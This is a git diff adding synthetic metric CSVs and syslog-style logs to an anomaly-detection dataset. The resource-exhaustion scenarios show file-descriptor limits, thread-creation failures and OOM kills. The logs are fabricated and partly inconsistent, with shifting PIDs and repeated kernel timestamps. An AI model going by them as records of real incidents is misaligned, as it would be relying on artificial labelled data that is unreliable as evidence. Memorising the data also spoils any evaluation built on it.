+Jul 03 11:06:25 kernel: [11342.577] Can't create new thread for pid 1197 +Jul 03 11:06:25 web-app[1120]: ERROR Connection refused from 10.2.3.77:54321, shutting down connection +Jul 03 11:06:30 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:06:45 web-app[1120]: INFO GET /api/v1/health HTTP/1.1 200 OK +Jul 03 11:06:45 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:06:45 kernel: [11342.581] Can't create new thread for pid 1201 +Jul 03 11:06:50 web-app[1120]: ERROR Connection refused from 10.2.3.82:54321, shutting down connection +Jul 03 11:07:00 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:07:05 kernel: [11342.585] Can't create new thread for pid 1205 +Jul 03 11:07:15 web-app[1120]: ERROR accept: Too many open files (24) +Jul 03 11:07:15 web-app[1120]: ERROR Connection refused from 10.2.3.87:54321, shutting down connection +Jul 03 11:07:25 kernel: [11342.589] Can't create new thread for pid 1209 diff --git a/anom_dataset/scenario_6/anom_6_27.csv b/anom_dataset/scenario_6/anom_6_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..1d05e337b51fabbe8580a83bdbffc21cf678c418 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T11:00:00Z,16.16,40.73,20.9,1.41,1.18 +2025-07-03T11:00:05Z,16.97,35.14,21.29,1.21,1.36 +2025-07-03T11:00:10Z,22.24,44.18,33.08,0.85,1.51 +2025-07-03T11:00:15Z,24.56,37.79,21.9,0.98,1.49 +2025-07-03T11:00:20Z,19.81,36.13,23.46,1.24,1.3 +2025-07-03T11:00:25Z,19.52,38.0,24.8,1.21,1.62 +2025-07-03T11:00:30Z,24.43,40.64,29.55,0.87,1.58 +2025-07-03T11:00:35Z,21.91,43.91,31.24,1.25,1.44 +2025-07-03T11:00:40Z,21.47,38.79,29.36,0.87,1.69 +2025-07-03T11:00:45Z,22.21,44.69,26.02,0.75,1.53 +2025-07-03T11:00:50Z,20.56,37.02,33.69,0.99,1.06 +2025-07-03T11:00:55Z,23.57,41.98,28.02,0.98,1.19 +2025-07-03T11:01:00Z,20.13,42.9,20.24,0.76,1.69 +2025-07-03T11:01:05Z,21.77,40.5,24.24,1.13,0.97 +2025-07-03T11:01:10Z,19.45,42.96,24.54,1.06,1.62 +2025-07-03T11:01:15Z,23.41,44.22,32.72,1.22,1.24 +2025-07-03T11:01:20Z,24.97,40.21,22.56,0.76,1.19 +2025-07-03T11:01:25Z,15.2,40.12,29.04,1.43,1.38 +2025-07-03T11:01:30Z,15.38,38.65,33.9,0.73,1.52 +2025-07-03T11:01:35Z,19.1,36.04,33.15,0.98,1.03 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kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 11:04:52 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 11:05:03 web-server[1152]: ERROR accept4: Too many open files +Jul 03 11:05:13 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 03 11:06:51 sshd[10234]: Accepted publickey for ubuntu from 192.168.1.101 port 55234 ssh2 diff --git a/anom_dataset/scenario_6/anom_6_28.csv b/anom_dataset/scenario_6/anom_6_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..8bc47c39d72aae0b043d2e854d9a4f4821de8454 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,22.623388845262927,42.40496817193025,27.00564280526895,1.321100026171965,1.29628194045748 +2025-07-02T10:00:05Z,19.91134601309746,46.55467430035662,28.967948657607433,1.4401842863152594,1.3134781207699948 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b/anom_dataset/scenario_6/anom_6_28.log new file mode 100644 index 0000000000000000000000000000000000000000..a7dc60a8de3363b5b719d3e493a15a87e95c8981 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_28.log @@ -0,0 +1,59 @@ +Jul 02 09:59:59 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 09:59:59 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:00:15 systemd[1]: Started Session 103 of user ubuntu. +Jul 02 10:01:04 systemd[1]: Started Session 113 of user ubuntu. +Jul 02 10:01:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:01:54 systemd[1]: Started Session 123 of user ubuntu. +Jul 02 10:02:05 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:02:30 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:02:44 systemd[1]: Started Session 133 of user ubuntu. +Jul 02 10:03:35 systemd[1]: Started Session 143 of user ubuntu. +Jul 02 10:03:45 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:04:09 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:04:25 systemd[1]: Started Session 153 of user ubuntu. +Jul 02 10:04:59 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:05:01 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 950 +Jul 02 10:05:06 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 954 +Jul 02 10:05:10 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 958 +Jul 02 10:05:15 systemd[1]: Started Session 163 of user ubuntu. +Jul 02 10:05:15 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 962 +Jul 02 10:05:20 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 966 +Jul 02 10:05:26 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 970 +Jul 02 10:05:30 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 974 +Jul 02 10:05:36 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 978 +Jul 02 10:05:40 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 982 +Jul 02 10:05:45 web-app[8872]: WARN Connection pool is nearing its capacity. Active connections: 986 +Jul 02 10:05:51 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:05:56 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:01 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:05 systemd[1]: Started Session 173 of user ubuntu. +Jul 02 10:06:05 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:10 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:15 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:06:15 nginx[1123]: GET /api/v1/health HTTP/1.1 200 OK +Jul 02 10:06:16 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:21 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:26 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:31 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:35 web-app[8872]: ERROR Exception in connection handler: java.net.SocketException: Too many open files +Jul 02 10:06:40 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:06:40 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:46 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:06:46 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:50 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:06:50 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:06:54 systemd[1]: Started Session 183 of user ubuntu. +Jul 02 10:06:56 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:06:56 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:01 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:07:01 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:05 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:07:05 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:10 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:07:10 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:16 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:07:16 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:20 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:07:20 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread +Jul 02 10:07:26 kernel: [182342.123] cgroup: fork: retry: No space left on device +Jul 02 10:07:26 web-app[8872]: CRITICAL Failed to create a new native thread. java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_29.csv b/anom_dataset/scenario_6/anom_6_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..892702a57b6f39d0cb295579c7a5f5560d04285d --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T10:00:00Z,14.9,45.48,24.95,0.93,1.54 +2025-07-02T10:00:05Z,13.19,35.69,21.72,0.8,1.67 +2025-07-02T10:00:10Z,13.2,39.86,27.63,0.83,1.21 +2025-07-02T10:00:15Z,16.39,39.57,29.3,0.72,1.52 +2025-07-02T10:00:20Z,15.12,40.04,20.37,1.05,0.93 +2025-07-02T10:00:25Z,9.84,41.24,20.79,0.88,1.15 +2025-07-02T10:00:30Z,13.22,38.91,17.96,1.26,0.85 +2025-07-02T10:00:35Z,15.7,36.09,26.3,1.22,1.22 +2025-07-02T10:00:40Z,16.2,37.55,20.07,0.96,1.52 +2025-07-02T10:00:45Z,12.88,36.72,27.06,1.13,1.07 +2025-07-02T10:00:50Z,11.16,41.75,25.22,0.77,1.03 +2025-07-02T10:00:55Z,14.74,37.6,24.82,0.63,1.08 +2025-07-02T10:01:00Z,17.36,36.94,24.85,1.04,1.48 +2025-07-02T10:01:05Z,8.47,39.85,23.16,0.75,0.97 +2025-07-02T10:01:10Z,17.56,42.11,19.61,0.91,1.88 +2025-07-02T10:01:15Z,17.57,36.39,24.87,1.03,1.0 +2025-07-02T10:01:20Z,14.24,38.65,22.38,0.87,1.5 +2025-07-02T10:01:25Z,16.09,41.37,28.55,1.02,1.18 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+2025-07-02T10:06:30Z,14.74,82.32,32.42,0.15,0.27 +2025-07-02T10:06:35Z,19.74,78.01,24.23,0.23,0.22 +2025-07-02T10:06:40Z,12.83,80.27,25.23,0.25,0.51 +2025-07-02T10:06:45Z,16.22,86.27,25.41,0.11,0.15 +2025-07-02T10:06:50Z,17.81,86.1,30.31,0.19,0.37 +2025-07-02T10:06:55Z,10.18,90.56,18.74,0.32,0.29 +2025-07-02T10:07:00Z,13.15,84.67,20.68,0.2,0.1 +2025-07-02T10:07:05Z,13.03,84.1,29.26,0.12,0.29 +2025-07-02T10:07:10Z,15.92,90.53,26.5,0.19,0.35 +2025-07-02T10:07:15Z,12.87,89.37,22.86,0.36,0.7 +2025-07-02T10:07:20Z,15.2,87.25,27.1,0.13,0.28 +2025-07-02T10:07:25Z,13.27,85.06,21.27,0.16,0.22 diff --git a/anom_dataset/scenario_6/anom_6_29.log b/anom_dataset/scenario_6/anom_6_29.log new file mode 100644 index 0000000000000000000000000000000000000000..6598b18dced442a6540a4ec8ee78660777a25b14 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_29.log @@ -0,0 +1,39 @@ +Jul 02 10:00:05 web-server[4132]: INFO 172.16.0.4 - "GET /healthz HTTP/1.1" 200 +Jul 02 10:00:40 kernel: [1132.435] audit: type=1400 apparmor="DENIED" operation="open" profile="/usr/sbin/ntpd" name="/etc/localtime" pid=1234 comm="ntpd" +Jul 02 10:01:15 sshd[5871]: Accepted password for user admin from 192.168.1.10 port 22 +Jul 02 10:02:05 web-server[4132]: INFO 172.16.0.5 - "POST /api/v1/data HTTP/1.1" 201 +Jul 02 10:02:55 data-processor[8082]: ERROR failed to open file '/data/source35.dat': Too many open files +Jul 02 10:03:10 data-processor[8084]: ERROR failed to open file '/data/source38.dat': Too many open files +Jul 02 10:03:20 CRON[9101]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 10:03:25 data-processor[8086]: ERROR failed to open file '/data/source41.dat': Too many open files +Jul 02 10:03:40 data-processor[8088]: ERROR failed to open file '/data/source44.dat': Too many open files +Jul 02 10:03:55 data-processor[8090]: ERROR failed to open file '/data/source47.dat': Too many open files +Jul 02 10:04:10 data-processor[8092]: ERROR failed to open file '/data/source50.dat': Too many open files +Jul 02 10:04:25 data-processor[8094]: ERROR failed to open file '/data/source53.dat': Too many open files +Jul 02 10:04:40 data-processor[8096]: ERROR failed to open file '/data/source56.dat': Too many open files +Jul 02 10:04:55 data-processor[8098]: ERROR failed to open file '/data/source59.dat': Too many open files +Jul 02 10:05:00 web-server[4132]: WARN high latency detected on backend service 'user-db' +Jul 02 10:05:10 data-processor[8100]: ERROR failed to open file '/data/source62.dat': Too many open files +Jul 02 10:05:25 data-processor[8102]: ERROR failed to open file '/data/source65.dat': Too many open files +Jul 02 10:05:25 kernel: [14965.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:05:30 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:05:35 kernel: [14967.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:05:40 data-processor[8104]: ERROR failed to open file '/data/source68.dat': Too many open files +Jul 02 10:05:40 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:05:45 kernel: [14969.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:05:50 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:05:55 kernel: [14971.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:06:00 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:06:05 kernel: [14973.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:06:10 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:06:15 kernel: [14975.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:06:20 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:06:25 kernel: [14977.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:06:30 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:06:35 kernel: [14979.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:06:40 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:06:45 kernel: [14981.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:06:50 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:06:55 kernel: [14983.131] cgroup: fork rejected by pids controller in /system.slice/data-processor.service +Jul 02 10:07:00 data-processor[8104]: CRITICAL can't create new thread: Resource temporarily unavailable +Jul 02 10:07:05 kernel: [1599.012] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. diff --git a/anom_dataset/scenario_6/anom_6_3.csv b/anom_dataset/scenario_6/anom_6_3.csv new file mode 100644 index 0000000000000000000000000000000000000000..8be48f28a9e81f98fd418009f2f330c1e69fe193 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_3.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-18T10:00:00Z,14.335329572068511,38.304358126795385,18.0383946055342,1.410246071164102,1.4165568546905396 +2025-08-18T10:00:05Z,24.590893465466685,35.8733564322437,20.234869960694688,1.2535239158312457,1.2396952423310141 +2025-08-18T10:00:10Z,15.92202300067365,40.36026662639677,18.02265686143685,1.4541313102933744,1.0064061584999555 +2025-08-18T10:00:15Z,16.42621712477489,43.59988060532344,15.288244429308262,1.0286460463692142,1.2691806936782895 +2025-08-18T10:00:20Z,10.671474367553575,44.908317156203154,16.605611676987174,1.1553328682943655,1.4984781860170386 +2025-08-18T10:00:25Z,19.475251646407354,44.625157947456906,17.85904878986316,1.361030455566529,1.7179173384638293 +2025-08-18T10:00:30Z,19.65333969931787,45.448081629263505,18.492810027817132,1.3740711118587385,1.2565320518727172 +2025-08-18T10:00:35Z,24.336774735474464,40.35976957263519,16.743681275391864,1.381625706451767,1.091366879568472 +2025-08-18T10:00:40Z,15.849880916164906,43.31706263160568,16.568188887200453,1.1593138412520267,1.5390349461999127 +2025-08-18T10:00:45Z,15.365250006443258,43.96730068901516,17.143247725619535,1.0903809072609016,1.2414222517733005 +2025-08-18T10:00:50Z,14.821380732027059,36.10464502996109,23.97433988009863,0.8083739787113446,1.1634217583908888 +2025-08-18T10:00:55Z,11.486686706152616,37.55456533298736,21.049146109199505,0.9504034414372062,1.108855344074494 +2025-08-18T10:01:00Z,15.679596956140262,42.74371709564467,22.991171107324995,0.8087728120463854,1.0378956479308434 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+2025-08-18T10:07:05Z,96.59553915642631,74.64493479627617,15.587487402008026,0.28427369079698134,0.42908781953999586 +2025-08-18T10:07:10Z,90.30967250521981,74.76495186181444,19.46102540805066,0.3029442185939053,0.31834102901936534 +2025-08-18T10:07:15Z,97.5940830180981,74.76800480466014,21.982406555420653,0.15584644269660086,0.4526762386792501 +2025-08-18T10:07:20Z,91.98712288231332,74.69134924543175,19.415123263395593,0.17772177077618856,0.27899266749643037 +2025-08-18T10:07:25Z,96.72604334421183,74.79116824742098,20.09841287439346,0.2893418144868861,0.24246723008713886 diff --git a/anom_dataset/scenario_6/anom_6_3.log b/anom_dataset/scenario_6/anom_6_3.log new file mode 100644 index 0000000000000000000000000000000000000000..c3792f916fde553ca19aebc3677fcb1a169fe3ef --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_3.log @@ -0,0 +1,63 @@ +Aug 18 10:00:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:00:00 systemd[1]: Started Session 100 of user service-account. +Aug 18 10:00:00 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 18 10:00:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:00:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:00:50 systemd[1]: Started Session 110 of user service-account. +Aug 18 10:01:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:01:15 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 18 10:01:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:01:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:01:40 systemd[1]: Started Session 120 of user service-account. +Aug 18 10:02:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:02:20 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:02:30 systemd[1]: Started Session 130 of user service-account. +Aug 18 10:02:30 kernel: [1823.45] TCP: request_sock_TCP: Possible SYN flooding on port 80. Sending cookies. +Aug 18 10:02:40 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:03:00 web-server[1123]: INFO GET /api/v1/user_data HTTP/1.1 200 OK +Aug 18 10:03:20 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 18 10:03:30 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 18 10:03:45 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 18 10:04:05 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 18 10:04:10 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 18 10:04:35 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 18 10:04:40 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 18 10:05:00 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 18 10:05:15 web-server[1123]: INFO GET /api/v1/health_check HTTP/1.1 200 OK +Aug 18 10:05:25 web-server[1123]: WARN resource allocation: unable to create new thread, retrying... +Aug 18 10:05:50 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:05:50 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:05:55 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:00 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:00 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:06:00 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 18 10:06:05 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:10 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:10 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:06:15 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:15 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 18 10:06:20 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:20 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:06:25 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:30 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:30 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:06:30 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 18 10:06:35 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:40 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:40 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:06:45 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:45 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 18 10:06:50 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:06:50 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:06:55 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:07:00 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:07:00 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:07:00 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 18 10:07:05 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:07:10 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:07:10 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:07:15 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:07:15 kernel: [1955.12] pid: 1123, comm: web-server, oom-kill:score=988 +Aug 18 10:07:20 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread +Aug 18 10:07:20 web-server[1123]: ERROR Can't create new thread, resource temporarily unavailable +Aug 18 10:07:25 web-server[1123]: ERROR Exception in thread pool: java.lang.OutOfMemoryError: unable to create new native thread diff --git a/anom_dataset/scenario_6/anom_6_30.csv b/anom_dataset/scenario_6/anom_6_30.csv new file mode 100644 index 0000000000000000000000000000000000000000..2596dea5773c7b6f466ab01a515c4771eb2ae44c --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_30.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T14:30:00Z,23.0,37.84,26.78,0.83,1.22 +2025-07-15T14:30:05Z,18.87,35.76,27.18,1.34,1.62 +2025-07-15T14:30:10Z,17.28,42.79,22.85,0.89,1.41 +2025-07-15T14:30:15Z,23.12,37.91,23.91,1.19,1.18 +2025-07-15T14:30:20Z,16.2,41.19,28.29,0.94,1.32 +2025-07-15T14:30:25Z,19.71,35.49,29.38,0.9,1.74 +2025-07-15T14:30:30Z,24.76,41.5,20.26,1.12,1.21 +2025-07-15T14:30:35Z,16.78,41.45,20.25,1.22,1.05 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+2025-07-15T14:37:20Z,90.37,91.83,26.71,0.38,0.38 +2025-07-15T14:37:25Z,95.4,81.98,24.09,0.18,0.33 diff --git a/anom_dataset/scenario_6/anom_6_30.log b/anom_dataset/scenario_6/anom_6_30.log new file mode 100644 index 0000000000000000000000000000000000000000..03805bf0cdae3a33388941d1789c9ba293b29af1 --- /dev/null +++ b/anom_dataset/scenario_6/anom_6_30.log @@ -0,0 +1,54 @@ +Jul 15 14:30:00 CRON[29167]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:30:00 systemd[1]: Started Session 16 of user app-runner. +Jul 15 14:30:00 web-server[1703]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:30:25 web-server[1601]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:30:40 systemd[1]: Started Session 13 of user app-runner. +Jul 15 14:30:50 web-server[1103]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:31:00 CRON[27471]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:31:15 web-server[1924]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:31:20 systemd[1]: Started Session 10 of user app-runner. +Jul 15 14:31:40 web-server[1285]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:32:00 CRON[22831]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:32:00 systemd[1]: Started Session 17 of user app-runner. +Jul 15 14:32:05 web-server[1238]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:32:30 web-server[1733]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:32:40 systemd[1]: Started Session 12 of user app-runner. +Jul 15 14:32:55 web-server[1309]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:33:00 CRON[28699]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:33:20 systemd[1]: Started Session 14 of user app-runner. +Jul 15 14:33:20 web-server[1854]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:33:45 web-server[1798]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:34:00 CRON[21229]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:34:00 systemd[1]: Started Session 18 of user app-runner. +Jul 15 14:34:10 java[5881]: WARN Resource pool 'file-handles' is 85% full. +Jul 15 14:34:10 web-server[1055]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:34:35 web-server[1748]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:34:40 systemd[1]: Started Session 16 of user app-runner. +Jul 15 14:35:00 CRON[23466]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:35:00 web-server[1820]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:35:20 systemd[1]: Started Session 10 of user app-runner. +Jul 15 14:35:25 java[5293]: WARN Thread count nearing system limit. Currently at 92%. +Jul 15 14:35:25 web-server[1536]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:35:50 web-server[1785]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:35:50 web-server[5839]: ERROR accept4() failed (24: Too many open files) +Jul 15 14:35:50 web-server[5839]: ERROR could not accept new connection +Jul 15 14:36:00 CRON[23592]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1) +Jul 15 14:36:00 systemd[1]: Started Session 20 of user app-runner. +Jul 15 14:36:05 java[5974]: ERROR Exception in thread "main" java.lang.OutOfMemoryError: unable to create new native thread +Jul 15 14:36:05 kernel: [ 1752590165.0 ] cgroup: fork rejected by pids controller in /system.slice/web-app.service +Jul 15 14:36:15 web-server[1379]: INFO 172.17.0.1 - "GET /healthz HTTP/1.1" 200 +Jul 15 14:36:20 web-server[5647]: ERROR accept4() failed (24: Too many 